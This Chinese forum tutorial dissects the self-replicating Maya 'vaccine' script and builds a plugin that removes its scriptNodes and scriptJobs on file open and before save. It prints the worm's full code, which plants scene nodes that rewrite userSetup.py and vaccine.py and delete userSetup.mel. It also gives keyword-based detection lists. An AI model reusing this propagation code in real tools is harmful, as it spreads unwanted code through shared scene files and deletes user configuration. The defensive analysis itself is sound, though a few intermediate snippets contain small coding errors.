写个插件清理大将军

文章 此情可待成追忆
2021-4-1 11:15 621人浏览 0人回复
今天介绍如何通过使用Maya 的 Api 2.0 中的 MSceneMessage 添加打开文件后与保存文件前的 Callback 来检查和处理不明 ScriptNode 和 ScriptJob,

以大将军的贼健康脚本为例子,首先申明以下,大将军的初衷是好的,就是有些许地方没有做好,导致全球受到了感染,先祭出大将军的免责说明:


然后我们来分析一下,这两个文件都做了些什么?

首先是生成的 userSetup.py

import sys
import maya.cmds as cmds
maya_path = cmds.internalVar(userAppDir=True) + '/scripts'
if maya_path not in sys.path:
    sys.path.append(maya_path)
import vaccine
cmds.evalDeferred('leukocyte = vaccine.phage()')
cmds.evalDeferred('leukocyte.occupation()')


这个就是简单的把当前路径加到 Maya 的 Python 环境中,然后等待 Maya 启动完成之后执行以下 leukocyte = vaccine.phage() 和 leukocyte.occupation(),不过这里顺便说一下,既然文件已经存在 script 文件夹下面了,为啥还要加到环境中呢?

我们接下来看一下 vaccine.py, 到底做了那些事情。

# coding=utf-8
# @Time    : 2020/07/05 15:46
# @Author  : 顶天立地智慧大将军
# @File    : vaccine.py
# 仅作为公司内部使用保护 一旦泄露出去造成的影响 本人概不负责
import maya.cmds as cmds
import os
import shutil


class phage:
    @staticmethod
    def backup(path):
        folder_path = path.rsplit('/', 1)[0]
        file_name = path.rsplit('/', 1)[-1].rsplit('.', 1)[0]
        backup_folder = folder_path + '/history'
        new_file = backup_folder + '/' + file_name + '_backup.ma '
        if not os.path.exists(backup_folder):
            os.makedirs(backup_folder)
        shutil.copyfile(path, new_file)

    def antivirus(self):
        health = True
        self.clone_gene()
        self.antivirus_virus_base()
        virus_gene = ['sysytenasdasdfsadfsdaf_dsfsdfaasd', 'PuTianTongQing', 'daxunhuan']
        all_script_jobs = cmds.scriptJob(listJobs=True)
        for each_job in all_script_jobs:
            for each_gene in virus_gene:
                if each_gene in each_job:
                    health = False
                    job_num = int(each_job.split(':', 1)[0])
                    cmds.scriptJob(kill=job_num, force=True)
        all_script = cmds.ls(type='script')
        if all_script:
            for each_script in all_script:
                commecnt = cmds.getAttr(each_script + '.before')
                for each_gene in virus_gene:
                    if commecnt:
                        if each_gene in commecnt:
                            try:
                                cmds.delete(each_script)
                            except:
                                name_space = each_script.rsplit(':',1)[0]
                                cmds.error(u'{}被感染了,但是我没法删除'.format(name_space))
        if not health:
            file_path = cmds.file(query=True, sceneName=True)
            self.backup(file_path)
            cmds.file(save=True)
            cmds.error(u'你的文件被感染了,但是我贴心的为您杀毒并且备份了~不用谢~')
        else:
            cmds.warning(u'你的文件贼健康~我就说一声没有别的意思')

    @staticmethod
    def antivirus_virus_base():
        virus_base = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel'
        if os.path.exists(virus_base):
            try:
                os.remove(virus_base)
            except:
                cmds.error(u'杀毒失败')

    def clone_gene(self):
        vaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'
        if not cmds.objExists('vaccine_gene'):
            if os.path.exists(vaccine_path):
                gene = list()
                with open(vaccine_path, "r") as f:
                    for line in f.readlines():
                        gene.append(line)
                    cmds.scriptNode(st=1,
                                    bs="petri_dish_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.py'\npetri_dish_gene = ['import sys\\r\\n', 'import maya.cmds as cmds\\r\\n', \"maya_path = cmds.internalVar(userAppDir=True) + '/scripts'\\r\\n\", 'if maya_path not in sys.path:\\r\\n', '    sys.path.append(maya_path)\\r\\n', 'import vaccine\\r\\n', \"cmds.evalDeferred('leukocyte = vaccine.phage()')\\r\\n\", \"cmds.evalDeferred('leukocyte.occupation()')\"]\nwith open(petri_dish_path, \"w\") as f:\n\tf.writelines(petri_dish_gene)",
                                    n='vaccine_gene', stp='python')
                    cmds.addAttr('vaccine_gene', ln="notes", sn="nts", dt="string")
                    cmds.setAttr('vaccine_gene.notes', gene, type='string')
        if not cmds.objExists('breed_gene'):
            cmds.scriptNode(st=1,
                            bs="import os\nvaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'\nif not os.path.exists(vaccine_path):\n\tif cmds.objExists('vaccine_gene'):\n\t\tgene = eval(cmds.getAttr('vaccine_gene.notes'))\n\t\twith open(vaccine_path, \"w\") as f:\n\t\t\tf.writelines(gene)",
                            n='breed_gene', stp='python')

    def occupation(self):
        cmds.scriptJob(event=["SceneSaved", "leukocyte.antivirus()"], protected=True)

backup 对文件进行了备份。
antivirus 对 普天同庆 进行了查杀,所以初衷是挺好的,不过在查杀的过程中,应该是为了方便公司内部的同事无感查杀,使用 clone_gene 自动创建了两个 ScriptNode, 这样可以查杀当前电脑打开的所有文件,并且也让文件产生了感染性。
antivirus_virus_base 就过于粗暴的删除了 userSetup.mel, 也就是这个可能会造成某些同学的 Maya 不正常,有可能是因为其他插件也对其做了修改,直接粗暴的干掉,会有可能产生不可知影响。
occupation 也就是在 userSetup.py 中调用的命令,既创建了一个 scriptJob, 在每次文件保存的时候执行了一次对普天同庆病毒的查杀,也就是在这个时候输出了一个 "贼健康" 这样的中文提醒。

那问题来了,如果我们想要清理这些节点改这么办呢?

清理 Script Node

我们先清理一下产生 userSetup.py 和 vaccine.py 的 scriptNode。

1.0 先找到所有的 scriptNode,

script_nodes = cmds.ls(type='script')
这个列出所有的 scriptNode, 不过 Maya 有时候也会自带一下,或者是其他正常插件也会带一下 scriptNode。

1.1, 过滤出可疑节点

这时候就需要过滤一下这些 scriptNode, 在这,我是通过判断是否存在 "internalVar" 或者 "userSetup" 这两个关键字去判断,大几率如果莫名其妙的节点去搜索这个,基本也就是有点不对劲了,当然这不是完全严谨的说法,在这就先用这作为条件去判断,

bad_script_nodes =[]
script_nodes = cmds.ls(type='script')
for script_node in script_nodes:
    script_before_string = cmds.getAttr('{}.before'.format(script_node))
    script_after_string = cmds.getAttr('{}.after'.format(script_node))
for script_string in[script_before_string, script_after_string]:
    if not script_string:
        continue
    if 'internalVar' in script_string or'userSetup'in script_string:
        bad_script_nodes.append(script_node)
这样就把相对可疑的节点都列出来的,然后我们再进行删除,为啥不直接删除,之后会说明。

2, 删除可疑节点,删除就很简单了

for bad_script_node in bad_script_nodes:
    cmds.lockNode(bad_script_node, l=False)
    cmds.delete(bad_script_node)
就是循环判断解锁,然后删除即可,当然,在这加了一个解锁的过程,防止创建的时候进行了锁定,当然这个案例中没有创建之后做锁定,不过谁知道之后会不会有呢。

3, 组合起来就是

import maya.cmds as cmds


def find_bad_scripts():
    bad_script_nodes = []
    script_nodes = cmds.ls(type='script')
    for script_node in script_nodes:
        if cmds.referenceQuery(script_node, isNodeReferenced=True):
            continue
        script_before_string = cmds.getAttr('{}.before'.format(script_node))
        script_after_string = cmds.getAttr('{}.after'.format(script_node))
        for script_string in [script_before_string, script_after_string]:
            if not script_string:
                continue
            if 'internalVar' in script_string or 'userSetup' in script_string:
                bad_script_nodes.append(script_node)
    return bad_script_nodes


def del_bad_scripts(bad_script_nodes):
    for bad_script_node in bad_script_nodes:
        cmds.lockNode(bad_script_node, l=False)
        cmds.delete(bad_script_node)


def clear_bad_scripts():
    bad_script_nodes = find_bad_scripts()
    if not bad_script_nodes:
        return
    reply = cmds.confirmDialog(
        title='Found these suspicious nodes!',
        message='Delete these Script nodes:\n    {}'.format('\n    '.join(bad_script_nodes)),
        button=['Yes', 'No'],
        defaultButton='Yes',
        cancelButton='No',
        dismissString='No')
    if reply == 'Yes':
        del_bad_scripts(bad_script_nodes)


在最后完成的版本中,我加了一个confirmDialog去提示,询问使用中是否要删除, 起到告知并提醒的功能。


然后还在搜索可疑节点的过程中,加了一个是否是 reference 文件的判断,因为 reference 的节点无法被直接删除,那就只能先行跳过。功能都分离成等单独函数的好处就是,之后如果需要执行递归清理所有文件的时候,也方便组合。

清理 Script Job

清理 scriptJob 还是一样的过程,先找出可疑 scriptJob, 然后进行清理。

1.0, 找到所有的 scriptJob

script_jobs = cmds.scriptJob(listJobs=True)
1.1,找到可疑 scriptJob

bad_script_jobs = []
bad_jod_scripts = ['leukocyte.antivirus()']
script_jobs = cmds.scriptJob(listJobs=True)
for script_job in script_jobs:
    for bad_jod_script in bad_jod_scripts:
        if bad_jod_script in script_job:
            bad_script_jobs.append(script_job)
通过人眼定位!


发现的既是这个就是会创建 scriptNode 和会抛出 “贼健康” 的 scriptJob, 那我们通过什么方式过滤出来呢?在这可疑考虑使用 "SceneSaved" 或者 "leukocyte.antivirus()" 去过滤

bad_script_jobs = []
bad_jod_scripts = ['leukocyte.antivirus()']
script_jobs = cmds.scriptJob(listJobs=True)
for script_job in script_jobs:
    for bad_jod_script in bad_jod_scripts:
        if bad_jod_script in script_job:
            bad_script_jobs.append(script_job)
我是选择使用黑名单的方式去做了清理,感觉直接听过 "SceneSaved" 有可能会不小心干掉什么奇怪的东西,当然,这个大家可以按自己的需求来做决定。

2, 这个删除就比较麻烦了

# Now kill it (need to use -force flag since it's protected)
cmds.scriptJob( kill=jobNum, force=True)
官方帮助例子中,传进去的是 jobNum, 这是个数字,既是创建 scriptJob 时的 id, 既是 62: protected=True, event=['SceneSaved', 'leukocyte.antivirus()'] 中的 62, 而不是在 cmds.scriptJob(listJobs=True) 的序号,那就需要把这个数字提取出来,在这我是使用正则的方式去提取的,

import re
job_index_regex = = re.compile(r'^(\d+):')
for bad_script_job in bad_script_jobs:
    bad_script_job_index = int(job_index_regex.findall(bad_script_job)[0])
    cmds.scriptJob(kill=bad_script_job_index, force=True)
3,最后组合

import re
import maya.cmds as cmds

JOB_INDEX_REGEX = re.compile(r'^(\d+):')

def find_bad_script_jobs(bad_jod_scripts=BAD_JOD_SCRIPTS):
    bad_script_jobs = []
    script_jobs = cmds.scriptJob(listJobs=True)
    for script_job in script_jobs:
        for bad_jod_script in bad_jod_scripts:
            if bad_jod_script in script_job:
                bad_script_jobs.append(script_job)
    return bad_script_jobs

def del_bad_script_jobs(bad_script_jobs):
    for bad_script_job in bad_script_jobs:
        bad_script_job_index = int(JOB_INDEX_REGEX.findall(bad_script_job)[0])
        cmds.scriptJob(kill=bad_script_job_index, force=True)

def clear_bad_script_jobs():
    bad_script_jobs = find_bad_script_jobs()
    if not bad_script_jobs:
        return
    reply = cmds.confirmDialog(
        title='Found these suspicious jobs!',
        message='Delete these Script jobs:\n    {}'.format('\n    '.join(bad_script_jobs)),
        button=['Yes', 'No'],
        defaultButton='Yes',
        cancelButton='No',
        dismissString='No')
    if reply == 'Yes':
        del_bad_script_jobs(bad_script_jobs)
同样的,加了一个confirmDialog去提示,询问使用中是否要删除, 起到告知并提醒的功能。


加上文件打开后和文件保存前 CallBack

我们已经在当前文件中清理了 scriptNode 和 scriptJob, 那怎么才能在每次打开和每次保存的时候自动清理呢?

由于创建的 scriptNode 是通过cmds.scriptNode 生成的,并且在 bs 这个参数上传递了数值,通过帮助可得知


The script executed during file load. 在文件加载期间执行的脚本,也就说文件加载完就会创建vaccine.py 和 userSetup.py, 那我们只要在文件打开之后,scriptNode 还没开始执行的时候把它清理掉就可,没等你干活就干掉你。

只需通过

import maya.api.OpenMaya as omapi
omapi.MSceneMessage.addCallback(omapi.MSceneMessage.kAfterOpen, clear_bad_scripts)
这样就会在每次文件打开后,scriptNode 还没开始执行之前把可疑的 scriptNode 清理掉了。

接着继续,之前靠人眼 Debug 可得知抛出 "贼健康" 的提醒的 scriptJob 是在文件保存前执行的,那同样的,我们也加个保存前执行的 Callback:

import maya.api.OpenMaya as omapi
omapi.MSceneMessage.addCallback(omapi.MSceneMessage.kBeforeSave, clear_bad_script_jobs)
这样就可以在文件打开之后和文件保存之前加上相关的清理了

制作成插件挂载的方式

好了,大部分的功能都做好了,可是我们怎么让每次 Maya 打开之后都自动添加 Callback 呢?不能再写一个带有感染性的脚本吧?其实只要通过挂载 Maya Python 脚本插件的方式就可以很好的解决这个问题了。

Maya Python 插件脚本的实现比较简单,主要就是

def initializePlugin(mobject):
    pass

def uninitializePlugin(mobject):
    pass
在 Maya 的插件管理窗口勾选挂载插件就执行 initializePlugin, 卸载插件就执行 uninitializePlugin.

那我们就只要实现这两个方法即可:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import callback
import maya.api.OpenMaya as omapi


def maya_useNewAPI():
    """
    The presence of this function tells Maya that the plugin produces, and
    expects to be passed, objects created using the Maya Python API 2.0.
    """
    pass


def after_open_callback(*args):
    callback.clear_bad_scripts()


def before_save_callback(*args):
    callback.clear_bad_script_jobs()


def remove_scene_callback():
    if callback.AFTER_OPEN_CALLBACK_ID:
        omapi.MSceneMessage.removeCallback(callback.AFTER_OPEN_CALLBACK_ID)
        callback.AFTER_OPEN_CALLBACK_ID = None

    if callback.BEFORE_SAVE_CALLBACK_ID:
        omapi.MSceneMessage.removeCallback(callback.BEFORE_SAVE_CALLBACK_ID)
        callback.BEFORE_SAVE_CALLBACK_ID = None


def add_scene_callback():
    remove_scene_callback()
    callback.AFTER_OPEN_CALLBACK_ID = omapi.MSceneMessage.addCallback(
        omapi.MSceneMessage.kAfterOpen, after_open_callback
    )
    callback.BEFORE_SAVE_CALLBACK_ID = omapi.MSceneMessage.addCallback(
        omapi.MSceneMessage.kBeforeSave, before_save_callback
    )


def initializePlugin(mobject):
    plugin = omapi.MFnPlugin(mobject, 'scene_callback', '1.0', 'panyu')
    add_scene_callback()


def uninitializePlugin(mobject):
    plugin = omapi.MFnPlugin(mobject)
    remove_scene_callback()
把之前的编写的脚本内容存成 callback.py ,然后调用,并定义一个 after_open_callback 和 before_save_callback 函数,留出之后添加内容的入口,然后定义 remove_scene_callback 和 add_scene_callback, 添加和移除 Callback,然后在 initializePlugin 和 uninitializePlugin 中分别调用即可。

callback.py 完整内容:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import re
import maya.cmds as cmds

JOB_INDEX_REGEX = re.compile(r'^(\d+):')

BAD_JOD_SCRIPTS = ['leukocyte.antivirus()']

AFTER_OPEN_CALLBACK_ID = None
BEFORE_SAVE_CALLBACK_ID = None


def find_bad_scripts():
    bad_script_nodes = []
    script_nodes = cmds.ls(type='script')
    for script_node in script_nodes:
        if cmds.referenceQuery(script_node, isNodeReferenced=True):
            continue
        script_before_string = cmds.getAttr('{}.before'.format(script_node))
        script_after_string = cmds.getAttr('{}.after'.format(script_node))
        for script_string in [script_before_string, script_after_string]:
            if not script_string:
                continue
            if 'internalVar' in script_string or 'userSetup' in script_string:
                bad_script_nodes.append(script_node)
    return bad_script_nodes


def del_bad_scripts(bad_script_nodes):
    for bad_script_node in bad_script_nodes:
        cmds.lockNode(bad_script_node, l=False)
        cmds.delete(bad_script_node)


def clear_bad_scripts():
    bad_script_nodes = find_bad_scripts()
    if not bad_script_nodes:
        return
    reply = cmds.confirmDialog(
        title='Found these suspicious nodes!',
        message='Delete these Script nodes:\n    {}'.format('\n    '.join(bad_script_nodes)),
        button=['Yes', 'No'],
        defaultButton='Yes',
        cancelButton='No',
        dismissString='No')
    if reply == 'Yes':
        del_bad_scripts(bad_script_nodes)


def find_bad_script_jobs(bad_jod_scripts=BAD_JOD_SCRIPTS):
    bad_script_jobs = []
    script_jobs = cmds.scriptJob(listJobs=True)
    for script_job in script_jobs:
        for bad_jod_script in bad_jod_scripts:
            if bad_jod_script in script_job:
                bad_script_jobs.append(script_job)
    return bad_script_jobs


def del_bad_script_jobs(bad_script_jobs):
    for bad_script_job in bad_script_jobs:
        bad_script_job_index = int(JOB_INDEX_REGEX.findall(bad_script_job)[0])
        cmds.scriptJob(kill=bad_script_job_index, force=True)


def clear_bad_script_jobs():
    bad_script_jobs = find_bad_script_jobs()
    if not bad_script_jobs:
        return
    reply = cmds.confirmDialog(
        title='Found these suspicious jobs!',
        message='Delete these Script jobs:\n    {}'.format('\n    '.join(bad_script_jobs)),
        button=['Yes', 'No'],
        defaultButton='Yes',
        cancelButton='No',
        dismissString='No')
    if reply == 'Yes':
        del_bad_script_jobs(bad_script_jobs)


白嫖链接,太长不看

最后给上白嫖链接:https://github.com/cundesi/maya_utils

下载之后只需把 modules 文件夹复制到 %Homepath% \Documents\maya 即可

然后打开 Maya 挂载即可



路过

雷人

握手

鲜花

鸡蛋

最新评论

相关分类
热门教程
返回顶部
客服